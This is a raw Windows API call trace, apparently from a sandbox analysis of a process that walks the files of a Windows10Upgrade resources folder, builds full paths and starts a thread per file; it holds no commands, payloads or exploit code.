	[0084.232] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bd859, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bd859, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x13e24500, ftLastWriteTime.dwHighDateTime=0x1d2ee61, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_eos.css", cAlternateFileName="DEFAUL~1.CSS")) returned 1
	[0084.232] wcscmp (_String1="default_eos.css", _String2=".") returned 1
	[0084.232] wcscmp (_String1="default_eos.css", _String2="..") returned 1
	[0084.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x47ed530
	[0084.232] wcscpy (in: _Dest=0x47ed530, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.232] wcscat (in: _Dest=0x47ed530, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.232] wcscat (in: _Dest=0x47ed530, _Source="default_eos.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css"
	[0084.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ed530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1780
	[0084.233] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bff6c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bff6c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea75e900, ftLastWriteTime.dwHighDateTime=0x1d2ee61, nFileSizeHigh=0x0, nFileSizeLow=0xda3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_eos.htm", cAlternateFileName="DEFAUL~1.HTM")) returned 1
	[0084.233] wcscmp (_String1="default_eos.htm", _String2=".") returned 1
	[0084.233] wcscmp (_String1="default_eos.htm", _String2="..") returned 1
	[0084.233] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x47ed0d0
	[0084.233] wcscpy (in: _Dest=0x47ed0d0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.233] wcscat (in: _Dest=0x47ed0d0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.233] wcscat (in: _Dest=0x47ed0d0, _Source="default_eos.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm"
	[0084.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ed0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1784
	[0084.233] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c12fc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c12fc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1468, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_oobe.css", cAlternateFileName="DEFAUL~2.CSS")) returned 1
	[0084.233] wcscmp (_String1="default_oobe.css", _String2=".") returned 1
	[0084.233] wcscmp (_String1="default_oobe.css", _String2="..") returned 1
	[0084.234] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47ecc00
	[0084.234] wcscpy (in: _Dest=0x47ecc00, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.234] wcscat (in: _Dest=0x47ecc00, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.234] wcscat (in: _Dest=0x47ecc00, _Source="default_oobe.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css"
	[0084.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ecc00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1788
	[0084.234] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c2685, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c2685, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7f589b00, ftLastWriteTime.dwHighDateTime=0x1d2ea8c, nFileSizeHigh=0x0, nFileSizeLow=0x100ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_oobe.htm", cAlternateFileName="DEFAUL~2.HTM")) returned 1
	[0084.234] wcscmp (_String1="default_oobe.htm", _String2=".") returned 1
	[0084.234] wcscmp (_String1="default_oobe.htm", _String2="..") returned 1
	[0084.234] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47ecc70
	[0084.234] wcscpy (in: _Dest=0x47ecc70, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.234] wcscat (in: _Dest=0x47ecc70, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.234] wcscat (in: _Dest=0x47ecc70, _Source="default_oobe.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm"
	[0084.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ecc70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178c
	[0084.235] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea5f6eb5, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA", cAlternateFileName="")) returned 1
	[0084.235] wcscmp (_String1="EULA", _String2=".") returned 1
	[0084.235] wcscmp (_String1="EULA", _String2="..") returned 1
	[0084.235] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2dabd98
	[0084.235] wcscpy (in: _Dest=0x2dabd98, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.235] wcscat (in: _Dest=0x2dabd98, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.235] wcscat (in: _Dest=0x2dabd98, _Source="EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0084.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dabd98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1790
	[0084.236] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.css", cAlternateFileName="")) returned 1
	[0084.236] wcscmp (_String1="eula.css", _String2=".") returned 1
	[0084.236] wcscmp (_String1="eula.css", _String2="..") returned 1
	[0084.236] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2daf728
	[0084.236] wcscpy (in: _Dest=0x2daf728, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.236] wcscat (in: _Dest=0x2daf728, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.236] wcscat (in: _Dest=0x2daf728, _Source="eula.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\eula.css") returned="C:\\Windows10Upgrade\\resources\\ux\\eula.css"
	[0084.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2daf728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1794
	[0084.237] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStarted.png", cAlternateFileName="GETSTA~1.PNG")) returned 1
	[0084.237] wcscmp (_String1="GetStarted.png", _String2=".") returned 1
	[0084.237] wcscmp (_String1="GetStarted.png", _String2="..") returned 1
	[0084.237] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780d28
	[0084.237] wcscpy (in: _Dest=0x4780d28, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.237] wcscat (in: _Dest=0x4780d28, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.237] wcscat (in: _Dest=0x4780d28, _Source="GetStarted.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png"
	[0084.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4780d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1798
	[0084.237] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea600acc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea600acc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xfe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedHoverOver.png", cAlternateFileName="GETSTA~2.PNG")) returned 1
	[0084.237] wcscmp (_String1="GetStartedHoverOver.png", _String2=".") returned 1
	[0084.238] wcscmp (_String1="GetStartedHoverOver.png", _String2="..") returned 1
	[0084.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x47bdc90
	[0084.238] wcscpy (in: _Dest=0x47bdc90, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.238] wcscat (in: _Dest=0x47bdc90, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.238] wcscat (in: _Dest=0x47bdc90, _Source="GetStartedHoverOver.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png"
	[0084.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bdc90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x179c
	[0084.238] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea600acc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea600acc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x43f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="loading.gif", cAlternateFileName="")) returned 1
	[0084.238] wcscmp (_String1="loading.gif", _String2=".") returned 1
	[0084.238] wcscmp (_String1="loading.gif", _String2="..") returned 1
	[0084.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780df8
	[0084.238] wcscpy (in: _Dest=0x4780df8, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.238] wcscat (in: _Dest=0x4780df8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.238] wcscat (in: _Dest=0x4780df8, _Source="loading.gif" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\loading.gif") returned="C:\\Windows10Upgrade\\resources\\ux\\loading.gif"
	[0084.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4780df8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a0
	[0084.239] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea600acc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea600acc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x749e0600, ftLastWriteTime.dwHighDateTime=0x1d2ea8c, nFileSizeHigh=0x0, nFileSizeLow=0xe5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="lock.png", cAlternateFileName="")) returned 1
	[0084.239] wcscmp (_String1="lock.png", _String2=".") returned 1
	[0084.239] wcscmp (_String1="lock.png", _String2="..") returned 1
	[0084.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2daf488
	[0084.239] wcscpy (in: _Dest=0x2daf488, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.239] wcscat (in: _Dest=0x2daf488, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.239] wcscat (in: _Dest=0x2daf488, _Source="lock.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\lock.png") returned="C:\\Windows10Upgrade\\resources\\ux\\lock.png"
	[0084.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2daf488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a4
	[0084.240] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xa33, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0084.240] wcscmp (_String1="logo.png", _String2=".") returned 1
	[0084.240] wcscmp (_String1="logo.png", _String2="..") returned 1
	[0084.240] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2dae9a8
	[0084.240] wcscpy (in: _Dest=0x2dae9a8, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.240] wcscat (in: _Dest=0x2dae9a8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.240] wcscat (in: _Dest=0x2dae9a8, _Source="logo.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\logo.png") returned="C:\\Windows10Upgrade\\resources\\ux\\logo.png"
	[0084.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2dae9a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a8
	[0084.241] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="marketing.png", cAlternateFileName="MARKET~1.PNG")) returned 1
	[0084.241] wcscmp (_String1="marketing.png", _String2=".") returned 1
	[0084.241] wcscmp (_String1="marketing.png", _String2="..") returned 1
	[0084.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4780e60
	[0084.241] wcscpy (in: _Dest=0x4780e60, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.241] wcscat (in: _Dest=0x4780e60, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.241] wcscat (in: _Dest=0x4780e60, _Source="marketing.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\marketing.png") returned="C:\\Windows10Upgrade\\resources\\ux\\marketing.png"
	[0084.241] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4780e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17ac
	[0084.242] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea60a72c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WinJS", cAlternateFileName="MICROS~1.WIN")) returned 1
	[0084.242] wcscmp (_String1="Microsoft.WinJS", _String2=".") returned 1
	[0084.242] wcscmp (_String1="Microsoft.WinJS", _String2="..") returned 1
	[0084.242] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x47ec8f0
	[0084.242] wcscpy (in: _Dest=0x47ec8f0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.242] wcscat (in: _Dest=0x47ec8f0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.242] wcscat (in: _Dest=0x47ec8f0, _Source="Microsoft.WinJS" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS"
	[0084.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ec8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b0
	[0084.243] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea627c0d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea627c0d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x97e0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkIssueFAQ.mht", cAlternateFileName="NETWOR~1.MHT")) returned 1
	[0084.243] wcscmp (_String1="NetworkIssueFAQ.mht", _String2=".") returned 1
	[0084.243] wcscmp (_String1="NetworkIssueFAQ.mht", _String2="..") returned 1
	[0084.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2e04630
	[0084.243] wcscpy (in: _Dest=0x2e04630, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.243] wcscat (in: _Dest=0x2e04630, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.243] wcscat (in: _Dest=0x2e04630, _Source="NetworkIssueFAQ.mht" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht") returned="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht"
	[0084.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e04630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b4
	[0084.243] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea631830, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea631830, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x875, dwReserved0=0x0, dwReserved1=0x0, cFileName="NoNetworkConnection.png", cAlternateFileName="NONETW~1.PNG")) returned 1
	[0084.243] wcscmp (_String1="NoNetworkConnection.png", _String2=".") returned 1
	[0084.243] wcscmp (_String1="NoNetworkConnection.png", _String2="..") returned 1
	[0084.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x47bd090
	[0084.244] wcscpy (in: _Dest=0x47bd090, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.244] wcscat (in: _Dest=0x47bd090, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.244] wcscat (in: _Dest=0x47bd090, _Source="NoNetworkConnection.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png"
	[0084.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bd090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b8
	[0084.244] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea631830, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea631830, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NoNetworkConnectionHoverOver.png", cAlternateFileName="NONETW~2.PNG")) returned 1
	[0084.244] wcscmp (_String1="NoNetworkConnectionHoverOver.png", _String2=".") returned 1
	[0084.244] wcscmp (_String1="NoNetworkConnectionHoverOver.png", _String2="..") returned 1
	[0084.244] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x476e4b8
	[0084.244] wcscpy (in: _Dest=0x476e4b8, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.244] wcscat (in: _Dest=0x476e4b8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.244] wcscat (in: _Dest=0x476e4b8, _Source="NoNetworkConnectionHoverOver.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png"
	[0084.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476e4b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17bc
	[0084.245] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea63c947, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="pass.png", cAlternateFileName="")) returned 1
	[0084.245] wcscmp (_String1="pass.png", _String2=".") returned 1
	[0084.245] wcscmp (_String1="pass.png", _String2="..") returned 1
	[0084.245] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2daec48
	[0084.245] wcscpy (in: _Dest=0x2daec48, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.245] wcscat (in: _Dest=0x2daec48, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.245] wcscat (in: _Dest=0x2daec48, _Source="pass.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\pass.png") returned="C:\\Windows10Upgrade\\resources\\ux\\pass.png"
